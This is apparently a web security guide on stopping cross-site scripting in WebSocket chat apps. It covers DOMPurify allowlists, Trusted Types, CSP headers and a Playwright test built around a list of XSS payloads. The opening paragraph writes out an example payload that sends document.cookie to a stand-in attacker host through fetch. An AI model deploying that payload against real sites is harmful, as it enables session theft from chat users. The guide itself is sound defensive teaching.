Sanitizing WebSocket messages before rendering #
A chat message arrives over the WebSocket with the text <img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">, the client appends it with innerHTML, and every user in the room runs the attacker’s script. Real-time features are a natural home for cross-site scripting: content from one user is pushed straight into other users’ pages, instantly, often by code written to be fast rather than careful. The WebSocket is not the vulnerability — it delivers bytes faithfully — but the habit of treating messages from “our own server” as trusted is. Every field in a message that originated with a user is attacker-controlled, no matter how many hops it took to arrive.
Root cause #
XSS happens when data is interpreted as markup or code. The browser APIs that interpret strings as HTML — innerHTML, outerHTML, insertAdjacentHTML, document.write, framework escape hatches such as React’s dangerouslySetInnerHTML and Vue’s v-html — will execute scripts embedded in event-handler attributes, javascript: URLs and similar constructs. Real-time code reaches for them because they are the fastest way to render a formatted message, and because the data “comes from our backend”.
The server does not make the data safe by relaying it. A message is user content with a transport wrapper; the WebSocket server usually validates its shape (with a schema, as in validating WebSocket messages with Zod) but not its meaning in an HTML context. Shape validation proves text is a string under 4,000 characters; it says nothing about what happens when that string is parsed as HTML.
Resolution #
Apply three rules, in order of preference. Render text as text: for plain messages, set textContent or let the framework interpolate ({msg.text} in JSX, mustache interpolation in Vue), which escapes automatically. Sanitize rich content: when messages legitimately carry formatting, send a structured format (Markdown or a limited rich-text schema) and convert it to HTML on the client through a sanitizer with a strict allowlist. Enforce it: turn on Trusted Types so the browser refuses string assignments to dangerous sinks unless they came through your sanitizer policy.
import DOMPurify from 'dompurify';
import { marked } from 'marked';
// Rule 1: plain text is rendered as text — never parsed.
export function renderPlain(el: HTMLElement, text: string) {
el.textContent = text;
}
// Rule 2: rich content goes through a strict allowlist sanitizer.
const ALLOWED_TAGS = ['b', 'strong', 'i', 'em', 'code', 'pre', 'a', 'ul', 'ol', 'li', 'p', 'br', 'blockquote'];
const ALLOWED_ATTR = ['href'];
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer nofollow'); // no opener access, no SEO juice
node.setAttribute('target', '_blank');
const href = node.getAttribute('href') ?? '';
if (!/^https?:\/\//i.test(href)) node.removeAttribute('href'); // no javascript:, data:, etc.
}
});
// Rule 3: a Trusted Types policy is the ONLY way to produce HTML for sinks.
const policy = window.trustedTypes?.createPolicy('rt-messages', {
createHTML: (dirty: string) => DOMPurify.sanitize(dirty, { ALLOWED_TAGS, ALLOWED_ATTR, RETURN_TRUSTED_TYPE: false }),
});
export function renderRich(el: HTMLElement, markdown: string) {
const html = marked.parse(markdown, { async: false }) as string; // markdown → HTML (untrusted)
const safe = policy ? policy.createHTML(html) : DOMPurify.sanitize(html, { ALLOWED_TAGS, ALLOWED_ATTR });
el.innerHTML = safe as unknown as string; // only sanitized HTML reaches the sink
}
// Wiring: message type decides the renderer, never the content.
export function onChatMessage(li: HTMLElement, msg: { format: 'plain' | 'markdown'; text: string }) {
if (msg.format === 'markdown') renderRich(li, msg.text);
else renderPlain(li, msg.text);
}
Enable Trusted Types enforcement with a Content Security Policy header: Content-Security-Policy: require-trusted-types-for 'script'; trusted-types rt-messages dompurify. From then on, any code path that assigns a raw string to innerHTML throws instead of executing — including third-party code and future regressions. Start in report-only mode (Content-Security-Policy-Report-Only) to find existing violations before enforcing.
The same rules apply to attributes and URLs built from message data. A user-supplied avatar URL must be checked to be https: before it becomes an src; a user-supplied colour must match a pattern before it reaches a style. Frameworks escape text interpolation but not URL schemes in href bindings. Server-side, it is still worth rejecting obviously malicious payloads and storing content in its original form — sanitize on output, where the context is known, not only on input.
The three rules stack into layers, each catching what the one above lets through: a bug in one rendering path is still stopped by the policy beneath it.
Edge cases #
Notifications and titles. Desktop notifications and document.title take text, not HTML, so they are safe — but toast libraries often accept HTML strings. Check every UI component that renders message fields.
Server-rendered history. If the initial chat history is rendered on the server and live messages on the client, both paths must escape identically. A difference between them is a classic source of XSS that only appears after a page reload.
Edited and updated messages. Real-time apps often patch existing elements when a message is edited or a reaction is added. Those update paths are easy to overlook: the initial render uses a safe helper, but an onMessageEdited handler written later sets innerHTML directly. Route every render and every update of message content through the same two functions, so there is exactly one place where message text meets the DOM.
Link previews and embeds. Unfurled previews — titles, descriptions and images fetched from URLs users post — are attacker-controlled too, even though your server fetched them. Render preview fields as text and proxy preview images through your own domain so a malicious page cannot serve script-bearing SVG to every room member.
Admin and moderation views. Internal tools that display raw user content are prime targets, because their users have more privileges. Apply the same rendering rules there, and never render content “for debugging” with innerHTML.
Verification #
Keep a list of XSS payloads and send them through the real WebSocket in an automated browser test, asserting that no script executes:
import { test, expect } from '@playwright/test';
const PAYLOADS = [
'<img src=x onerror="window.__xss=1">',
'<svg onload="window.__xss=1">',
'[click](javascript:window.__xss=1)',
'<a href="javascript:window.__xss=1">x</a>',
];
test('chat messages never execute script', async ({ page }) => {
await page.goto('/room/test');
for (const p of PAYLOADS) await page.evaluate((t) => (window as any).__sendChat(t), p);
await page.waitForTimeout(300); // let messages render
expect(await page.evaluate(() => (window as any).__xss)).toBeUndefined();
});
Then check the CSP reports: with Trusted Types in report-only mode, any report naming an HTML sink points at a code path still assigning raw strings.
Operational checklist #
FAQ #
Can a WebSocket message cause XSS? #
Yes. The WebSocket delivers whatever the sender wrote, and if the receiving page inserts it into the DOM as HTML, embedded markup and event handlers execute. The transport is not the problem; the rendering sink is.
Is validating messages on the server enough? #
Validation of shape and length is necessary but not sufficient. HTML safety depends on the output context, so escape or sanitize where the data is rendered. Server-side filtering is a useful extra layer, not a replacement.
Does React protect me automatically? #
React escapes text interpolation, so {msg.text} is safe. It does not protect dangerouslySetInnerHTML, and it does not validate URL schemes in href. Those are where real-time XSS appears in React apps.
Should I sanitize on the server or the client? #
On output, which for live messages means the client. Store the original content and sanitize for each context (HTML, notification, email) when rendering. Server-side sanitization is still useful for content rendered on the server.
Related #
- Validating WebSocket Messages with Zod — shape validation at the server edge.
- Handling Cross-Origin WebSocket Connections — the other half of browser-side WebSocket security.
- Detecting Detached DOM Nodes from Real-Time Lists — rendering live rows safely and without leaks.
- Cookie Session Authentication for WebSockets — what XSS on a real-time page could otherwise reach.
Back to Security & TLS Configuration.